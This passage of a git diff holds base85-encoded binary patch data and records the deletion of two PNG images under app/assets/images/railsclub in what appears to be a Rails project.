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 diff --git a/app/assets/images/railsclub/1.png b/app/assets/images/railsclub/1.png deleted file mode 100644 index 1b4e1350a961057090aaaf75f9d94667c0ce2b77..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 7790 zcmb_>cQhQ_*RCYGgdm6(Qbe@qL`~F0FVRPjI*b;5f{=)aHxkjyV06Y945JghGujxV zlhHnf>V@QioEu4ijUuK%EJ(CSu6 zrftxUoaJHiPmVp3mSGoldGvKuE;eruF!5C64G1m zv#;HjAc-LV7rj9L6MKOsp=A3zYo^#z+8eaFHTeAeSoCBs^6X3Yw2zla(9u%?{GiUR zDe!EoM%kZp3Y(%`7=Ll0+;_SO&2>3D587KFD}v2GbF-}roNs2Dezt#eH-{h>$;%sm zw8MU-S@V0(XK(inyQ3$F>7|icpAw5Mg{&L_O6`XTH#rILKSvlz88^~#8P=Sf*5keB z8(p*Oa&vQ1*LK-x<5usIZF&4U2|^-)0neBa7dg0|HiS zEYmPlhdeIP8c|>(KdjQqifJ7VEDqd`bt&YBve9piNDhQ8@eRksEH#z{Z6v_$-G+C) zN6LsjD&1SZenB4w1ki!OL<$@(xVCA_H+yU>YI}9scN!a5TU+#e5CS=w;`0{nR(STr zXKWsqu#K))XR~kBp<9Bl6d)9Mw;g(kIDSr zv{j-GkI|VS*!N=4vp>-p6ltTNM1d%UbtwD@f`g|lUk{E+;fGi^ zx=-2f5-LDeq>%X+X?qqNJ+$<0dGKpL60uM8z$OQF8s9wEz|N~9-S2|yKj)S*BFz_t z&wfJ{@t2{yN1LTzk;LWhHb_l1Q*-$WFX&^?jevkj->2OpBkxG^vG$wl zygZ`#K>xxqW%aEt$*01rGNi7nJCleK65ETz1q=X#Tz`dbT}`h()d5h;?PB0(`YQ8aaHmsyo>aL^ zI#VV!LEr7$WwpeqtxD@D%wYwlnSHSFjDR3UZXx@(mX<`r@dY})GtOGeihqqw+AY7V z=N4)-)oE&x${f9DK3a-GG1gQdhqlM9$w0JfiNjsz1IA@;ywTIFnlDCEb?%i*oVw9w zlWN+EKiKp-EtU6M!Fg79k|zm;JGup>>1k$FuOkg{!~K7$4tksy&2kPNDaf^W3P;c; zVVe6gWR}&b8@@fcwS*G)92(B*T-}*p)ssHrs0dBj8bS76N)ap9k(n-&ll!UYKK*np z+bB%DsSU_;m@8sMZPZ4=;U$({f+Amc@wm2$Sju%M2ZBrT@U@XEAO2E*wq887& z0Z+@-sXUqrs2>y-+pCxLMNSk=`i@{>Ojpt{7hFm3vb4NYZD3j)X#&9*;luk1m7$SO=U% z=LclL<5&IbV{K26M6&8$|0)AaoG&%}x77;%k^2UYQWL$zZ=dE?TcVo$6x>-s_IRxnI`YC_$_sm}EVNh`MF zY<6#j!f&!;7!R!1!EuLWW15vBoU^9v%~+XO&-nV}oY^$hCH~rVLeNcB#E#Pn?Sop= zn_zmSWLei6+Cn~Sm(zPHL7jJP;lg@7*&!;>yd`<1ZstWvpv(_3 zWP`9xVS}K8|I==sHS7h7%2I%>D?30^8kp(lo1SEL<^xUJ=y=^9+25NSihFFL2E0@E z>4o^RAu_!&t)=tVL{X4`*|2Xg`%JY@aCbFSv3C}?qCNd{#>*cwA<8L7##u3m3X+Hz zx=Dsnc+tJ25`0eNU^C)dfEYFw6UxCF=oYx0gTqwGvBUsLZfruu1j9d zJj~jO(#nh+LZ-lQ@L57GFBx~8lFjyJIW;r4%RjvOFZv%D_HV8wQMwU9{tx1I`4{~u zNXhmm`**>A(I2Az@7Ujz{r|1q|Do~!W4phV#6P9~gM0p`?aH0bD>Wl$u_>FI$8s$p z0;st1nxnk$&qKAF-?_eSgTw7#d*I(yt>4HCS__z-2KOvpUM_BI*hzu0SeNf7>#p3e z>FG2ZNCs)BU&uuY_p31^X8loZ1Gu&}Fh$pGZwkl%gU|aW)3hT)!?+9?ZO%>c9j9C{ z=;+m|@nG0{kVeE)frdk=2Ayc}osKqAICU`~@mmK@l*@FFiJ?km6VYcU z;?fX^AYUVR7b2g|j)=5k*P@BdSPlUCOVyL^VO&UZ2f|2&Cc4hvs zF+rG&m-hV9B5QM@AfNH>^iCOFv>1V(kFmieT3h||mn|tKu)?gr^|$6Y8BvEv}WR-CGCur$Wh6O2c&?KP*3CPUjVXcqRwET`lh`}Ix2hljK7CW|s^Ny``i|l z;Y+5-jev;mMbwyrq9Sbo#fQPV1p3YU8ay!v^XB0A`E1RxAq^JBgWzF|Na5M{BNvW{ zq_htx&));Y1&r0?ib5-+&}nvB=tc0}qDt9qzn6{x0AQkL0;&7!uiUS*zdl1(bo3U@ z9MLg*&>+y zr)THXkGd<gXwB-EAYo6l>v2Npht0yCvVH;X&!tp?XdTeyO_?U+#;XULe9gq z&e6C9C^3-FMmmI6@qW6+Nk#XLNY_M;Hmwy|DsyWP4RUJ6oB#n4;-0gcZyqn`g0&Lr zkgV>gue#{QA)KerNM;rOZK!nyxcq#y%GWFCq==l;9t;lE8EyBJ;h|&J{@T9X+G4rjJ%x>VQ9jYv!E_I^ zlHrw`vPG>w=p6ZydP2S^Ssz}Bd7NmqtprxlS(rpz>P~tDef^5^j@3`N5C_sue7YrL z&bvXJ>~!_EOl(Ysl|=n~5#T)XR%YD!i{GcGPl0TEw$jRSV|8EQktRWXcvBT7Fr#xV zGcI=ej^_`JWafI@HLD3}lYtakf5CAdz%r*>=7*##e{u@*BuPTcAuE2W7FcB6WYN~% z!BKFc&{&ZBYCT3I#m$HHhCuz3R&S-ZdVQgk!A}|Av~9?D&Ty(Uc-Uut$>#ROv|d_{ zjilalGc8c}OKU1JhYwHJd>G=}n*J1fYr$AJ-+ey&R^gDJNR%qXgog7xn%0h`;uLf; z_bX=ft<`!IZs0z$g^Tk-EG)7w3j#0eY2Y0-*-xu-ST}sWt42R|Au0s+IaE9 z@K1Fzba+W~>9xRJk#K8;u}l~&awWoC=<)fh6Ea2`@=74LiE-={HpA(n>O0T8L6U zI5(W^Qr~_2c8RC1q2bgK;qRX_qOs}sQ}sy_9KMv_WP1&Gqqbwt(XuDl!5!9E3a}4C z4E$c1s1XFkwPYNrys0jlrJK6#E3pt-kOoT|3W}0}YE6`Nye3mZ451ozp_^}ZcuZJQ z#Tj}0KlyaCG-fRt8U@OncGH-m9{>TtqP5ISH*WhkDE`G^w*f>6}rEEFbFs2_?;sV}?>0o{%FE2QUtnnN4Njp(55<3{}YRA=Yjfcs~ zPz8$EYt`km6a*|bG7z%YqwqsTm&TR0RiX&bWUdb}x{LcnABnHlnX!7SWJQ0~i5nLM!w>tSD>Xo+OV+ijN4x%F?Lq%x{v?h{Wx1;~Bx5wk7qtKU6Nr&yRduu75C|ir^Kb~yI`hVY(fmQDI6E>R99t(-I=)7$csKV?vBb^x;~mI99BPn z1^Rn5tXHj(b=@O~i8r*WyI6fM0ttaqWlx{`VNZYZ2ReW8K|+lRow#5`l*Y8+iSw_4cT) z=fyt$CK5kUn3Na++nCR@GvkPFQYSlt^!WoaCe`t2=C91cgegcKQ~Xh8|2xOy|E^R1 z$#T2Aw>*sj1%z0||0I*5FuSI-v!$S3PhrMzLFV=@Fa>c!^8VI;c`TohQ1PuzZky&~ z(SgFT2jg{6gklJ_D(5_o8j)r!2~J29qv{g+7LuRQPk2{C5{*|#98FYx*}ZM?ph@UO z0@A{0C?W{}*e8=hAXd{az`<$N_KANaie=fD(3kv<3Swm=LQ3k(o2kky6B0)kfp;6Q z4gTCicz$COB&@8!0nmf;QZgMgVyR4SlUEvWQmg!M!v>8vUYr@`QS}U(Qjb9K=RHgc z*g)g>noK4KCUlLJ5hN2474Yay7#I%Cj*=I%N9Af z@u~E+S^Lq>Hxs|KWZ`My{rzpLMIAb})=DUGVq_#Y4*s+?iY}b#uLMJ>n#u^tojbZ> zCJ8uf%79ZOo29hYX>FsR1Dp1ypTyBoOqMCjGH&K(fJQ$dih!g|Gn2RM)W6arYN}N( zX$-cySGTN-4VQn4Kuv7$kX1+OnlXIGb!ICb7<=_JZNz=Q-ESQuhQE=@>;}uwI=>8& zFmDsMPT*ck86Jv10$Z55KTvK%x9o?#Wi?fcaGrBR{uN*p2 zQp_5En80$|B0(s>J=(s-gRZZ;_YpphC zcMq~)bx2Nb_)9apLu}ia-1r9jPgBiAa~tToBYOV8VD`Cd5x;q1PfC-)1$0ykU0K*U zIJmq?nQjA3cx-~V+;Z6fj3t>CXUM{cLdS`Y)P8lwuK-+ z>i@w^%w%luj=DUAr|6#SzA0Q!kdx~yy&{6chwbmXd$RBbzHPs=v3!q;Ggu`6KLN<6Aw7-cWU^Dsh>{m!KtHW{)Xx8Grwk zYbnG@2D3Y>>jxS$04-MVQh(s!bH11y0IdmV#ZyGJ%9LOD7;#EhW_zj$q1Gy;v+h&P zGuhdw(=T!r%=$Rx^y&K_t8-$njyJ;Lxg5L2nIF>6uhDJ92+bT&H-j8^X4E$yt3Rk$ znUL2pG$uY87fdj&!=74}B|TO3t)u4CnJ_V->i09Gdh{}e(mfISE}L7MN|9}N}e$tZFB@CzX>UHnZa`-#fx8er#=O8?LLx}eG_>cZ^(}GxlW8f{Fx)3tiBr=dtf=*EO{a%C#|UCl*Ur!7#g#=~skJO)#ZN6}%Pz8( zc$Y_(e8qy*Q|@KN4s=1^jtATW2r9n|Q*KqvkqZ&_Ph|o3LYGT^*6ZVG)*@BM=n@6* z+BcCgcW6)QFbM}*Phh9Ffq++#)ir!M+PYpex<@0Vj;tS)LR<3Kf8nLaKN ziS7!ObRN3-d|EeId+@!7gZ>K{19X4M*P!IYt4TztnqjaT_u#deSEPn|pegOrXor&C z?QCZ7C=Jj;Q8Ink5Kz*aN3dt9r>_^R=c_2mM{zrO{*^^`0{sBfDsJKOwKNNppYMlW z7-wbg%dQ6Aw6~7M;>;aAUwGXwUEs^gWX9jDryRJkyceBVx9Q-riudyPda$LH!SYt- z9-a_XyO{*e6+%6-(?_F7psP$$J7(wx_Z;^oU^bH;f9cb-wG%g3=CdP!r*H2^LqZiT zH4bpC0+OAmf@U!%s+cC*R%yv@M?aytQzb-Cn0+ICSa5;SoVp8e&qE7M18WBJzj2N` zo#5#TNF_l`#qT;whAfLWz3E>Ag34bPZZd%REB1xXh_LN*|A^R$t&J^#Z|_TraGOq@ zneofm%bh&oX?$l)U22L*!PUudFQP?py~)aY2tpNhtP-~%9F}^1G8`Xvp4+1%BJ zcE}&Yx2`WzZ$^=`rwla;D{8q4S!5Z_-1reha8>!{D0CEVZ|{zjPcOb*koI2^wAQCXJJ+`%*2V4h0{HxmUL< zC@4C8{lGLT;0S{{!H%TCqe*9$7f+7GBGd0=?LSUzVj5k72uQW9D+V#;oF0B`>Utfb z);0>ZE9isP^vUH1f`@b1W_gR8z#}wD57!RUKeDG!n%sh{&B162YFMcIEqp!A@QnnZ zu=f-=l#)&9s70eW6Q#Wrz2E};tKSC^LN9xqBpLB|;UpsP$m1TDP#4~D#N4;SNUYtO zljBaSG%a0vXDG^RM5*zePup|7OBNRyUKP3eO23O0RaE(!uAS@yP@O`V)%R95qWb;# z!LBDQdYMzo$@ApDDVqzeXs%Y!j=GQ!Y05hkHzC$MNT{ z;Ico!UD+(Mw$#;`lXYkl@2DsVCOfnm#Tery{ zZ`l29J0qXyeW#4iFbnZpkI?-X_7pZHRApgRF!J>}&Y7`-Wz8aJ!$vLy#xK=yJNzl{ z9W%f1CjM6IZ0&@ttrLq+8@R&Nz_pXIgH)~jH7^-HV|Pb@+!s4Hj{2O?iw);8YM8>h zF;Yr8W-plqHQLh9ux~DqR7kX`wvjWnx7+%oZxyG7R>RRA#VjbtvPU%KnGYjLv?A7W tU(o!A7s=B~H)XMjwip{A=^rfeJWzW{7tJrn={ diff --git a/app/assets/images/railsclub/2.png b/app/assets/images/railsclub/2.png deleted file mode 100644 index f0cc3f5dc095b3d0e0284c823cf940726640c1ff..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6451 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 